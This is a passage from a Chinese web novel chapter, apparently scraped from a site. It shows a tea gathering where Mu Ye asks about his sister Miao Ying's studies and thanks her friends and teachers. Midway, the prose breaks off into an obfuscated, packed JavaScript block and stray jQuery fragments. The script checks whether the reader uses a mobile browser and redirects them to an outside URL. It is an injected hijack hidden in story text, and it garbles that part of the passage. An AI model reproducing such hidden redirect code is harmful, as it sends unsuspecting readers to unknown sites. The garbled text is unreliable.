茶具在哪儿来着?”
“右手边的柜子,第三层,下面是茶叶。”
“哦哦哦,找到了,但是烧水的壶又去哪儿了?”
正在仔细摆茶点的木也,头都没抬,“厨房、灶台、左手边顶柜。”
苗赢不管做什么事情、拿什么东西,都先要找哥哥确认一遍,将其衬托出了一种家长的感觉。
其他人也总算是明白,苗赢以前为什么是一副那么单纯的模样了。
江若南挪了一下板凳,凑近木也,好奇地问道,“你念私塾时的成绩怎么样啊?”
木也回想了一下,“考试时只要不超出教学范围就是甲上,若是特别难的超纲题目就只有甲下。怎么了?”
“没什么。”江若南笑着摇了摇头,“就是好奇,随便问问。”
江若南没有明说,但大家都明白这个问题是因为谁。
原本只是想知道,苗赢的笔试能力,究竟是以前没打好基础,还是自身问题。
渡泽云一脸坏笑着问苗赢,“哇,看看你哥哥,再看看你,我们什么时候能听到你说‘基本上都是甲上’、‘只能考甲下’这种话啊?”
苗赢打了个哈哈,什么甲上甲下,都说了他只能抓甲鱼!
预感到这几人还要继续聊成绩,苗赢赶紧说了句“我去看看水烧好了没有”,就直接遁去厨房了。
看着苗赢那落荒而逃的背影,木也不由痕迹的将话题转个弯。
“妹妹不太擅长应付考试,就像我很不擅长体能一样,‘尺有所短,寸有所长’,不擅长也没什么。不过我听说,妹妹的年终补考都能及格了,这可是相当难得的啊!孙老师听说时,欣慰得都抹眼泪了。想必几位平时没少费心思把?尤其是这位曲风长老,您应该也是教学负责人之一,想必对妹妹多有关照,木也先代妹妹,谢过各位了。”
出门给自己取了个“曲风”做假名的渡泽云,心虚地清了清嗓子。
他是教学负责人之一不假,但也只是个挂名的,可没能力把苗赢这个让李听风都头疼的孩子辅导及格。
虽然见到林风远每年都能给苗赢辅导及格,但渡泽云试过一次后,就放弃了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16551752|162870||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
>
他是想要通过这件事情,证明自己的教学能力至少有一项可以超越李听风。
可在给苗赢补了一晚上课后,成功被错误答案给带歪了渡泽云,在继续辅导和丢给林风远之间,痛快选择了第二个,并且承认——人真的要认清楚自己的实力,至少不能折磨自己。
见渡泽云的样子,木也也没有多说什么,只是顺道将其他人也感谢了一遍。
江若南小声的“哇哦”了一声,“你跟苗赢感情挺好诶,我跟我家兄长感情也可好了!多亏了我哥哥的庇护,我才能做很多事呢。”
“当兄长的总是希望自家的孩子都能平安顺遂。”木也很是淡然,“之后虽然我和小妹经常通过玉简聊天,但终究是离太远了,她也不想让我多担心,不知可否跟我讲一讲她平日里的状态呢?”
“苗赢平日里可可爱了!”江若南提起这个话题就很兴奋,最后越说越多。
木也也慢慢地不断说出他认为的苗赢小时候的可